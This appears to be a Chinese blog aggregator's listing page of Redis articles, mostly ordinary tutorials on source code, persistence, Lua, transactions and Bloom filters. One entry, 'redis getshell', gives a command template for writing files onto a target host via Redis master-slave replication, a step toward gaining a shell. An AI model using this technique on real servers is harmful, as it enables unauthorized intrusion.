首页
博客
源码
资源
博客
源码
写文章
发布博客
发布资源
登录
X
redis
相关资讯
热门
最新
代码人生
01-01 08:00
代码人生
Redis 源码分析客户端数据结构(client)
Redis 源码分析客户端数据结构(client),数据结构Redis客户端数据结构如下所示:(src/server.h/client)typedefstructclient{uint64_tid;/*ClientincrementaluniqueID.*/connection*conn;intresp;/*RESPprotocolversion.Canbe2or3.*/redisDb*db;/*
131
代码人生
01-01 08:00
代码人生
redis getshell
redis getshell 一、Windows 1、Redis主从同步写数据 工具下载地址: 执行如下命令: python2 RedisWriteFile.py --rhost=目标ip --rport=目标端口 --lhost=本机ip --lport=本机端口 --rpath="目标路径" --rfile="目标文件名" --lfile="本机文件名"(目标机和本机能通信)
131
后端
01-01 08:00
后端
Redis 的持久化
Redis 的持久化,原文链接:https://www.changxuan.top/?p=1386Redis是一个非关系型的内存数据库,使用内存存储数据是它能够进行快速存取数据的原因之一。在实际应用中,常有人提倡把Redis只作为一种能够提高用户体验的组件来使用,也就是说即使Redis服务挂掉之后也要保证系统正常使用。不过,在很多系统中还是希望既能发挥Redis基于内存快速存取的特性,又希望机器断
130
后端
01-01 08:00
后端
redis中lua脚本的简单使用
redis中lua脚本的简单使用,这篇文章主要介绍了redis中lua脚本的简单使用,需要的朋友可以参考下一、背景在使用redis的过程中,发现有些时候需要原子性去操作redis命令,而redis的lua脚本正好可以实现这一功能。比如:扣减库存操作、限流操作等等。redis的pipelining虽然也可以一次执行一组命令,但是如果在这一组命令的执行过程中,需要根据上一步执行的结果做一些判断,则无法
130
后端
01-01 08:00
后端
Redis高并发防止秒杀超卖实战源码解决方案
Redis高并发防止秒杀超卖实战源码解决方案,目录1:解决思路2:添加redis常量3:添加redis配置类4:修改业务层1:秒杀业务逻辑层2:添加需要抢购的代金券3:抢购代金券5:postman测试6:压力测试8:配置Lua9:修改业...目录1:解决思路2:添加redis常量3:添加redis配置类4:修改业务层1:秒杀业务逻辑层2:添加需要抢购的代金券3:抢购代金券5:postman测试6:
128
后端
01-01 08:00
后端
Redis事务
Redis事务,Redis通过MULTI、DISCARD、EXEC和WATCH四个命令来实现事务功能,本章首先讨论使用MULTI、DISCARD和EXEC三个命令实现的一般事务,然后再来讨论带有WATCH的事务的实现。因为事务的安全性也非常重要,所以本章最后通过常见的ACID性质对Redis事务的安全性进行了说明。事务事务提供了一种“将多个命令打包,然后一次性、按顺序地执行”的机制,并且事务在执行
128
后端
01-01 08:00
后端
Redis实战-BloomFilter
Redis实战-BloomFilter,Redis实战-BloomFilter1.简介布隆过滤器是防止缓存穿透的方案之一。布隆过滤器主要是解决大规模数据下不需要精确过滤的业务场景,如检查垃圾邮件地址,爬虫URL地址去重,解决缓存穿透问题等。布隆过滤器:在一个存在一定数量的集合中过滤一个对应的元素,判断该元素是否一定不在集合中或者可能在集合中。它的优点是空间效率和查询时间都比一般的算法要好的多,缺点
128
后端
01-01 08:00
后端
redis客户端实现高可用读写分离
redis客户端实现高可用读写分离,redis客户端实现高可用读写分离背景(1)redis单机的读写性能轻松上大几万,不过线上环境不会只部署光秃秃的一个节点,还是会配合sentinel再部署一个slave作为高可用节点的;但是standby的slave节点是不对外提供服务端的,一定程度上造成了浪费资源(2)当业务不断发展,原来单节点缓存的数据(如,商品信息缓存、配置信息等)的查询qps不断升高(写
128
后端
01-01 08:00
后端
Redis概述
Redis概述,Redis概述Redis(RemoteDictionaryServer),即远程字典服务。是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了ma
128
代码人生
01-01 08:00
代码人生
Redis 源码简洁剖析 11 - 主 IO 线程及 Redis 6.0 多 IO 线程
Redis 源码简洁剖析 11 - 主 IO 线程及 Redis 6.0 多 IO 线程,Redis到底是不是单线程的程序?Redis只有在处理「客户端请求」时,是单线程的;整个Redisserver不是单线程的,还有后台线程在辅助处理任务。Redis选择单线程处理请求,是因为Redis操作的是「内存」,加上设计了「高效」的数据结构,所以操作速度极快,利用IO多路复用机制,单线程依旧可以有非常高的
127
«
1
2
...
12
13
14
15
16
17
18
...
43
44
»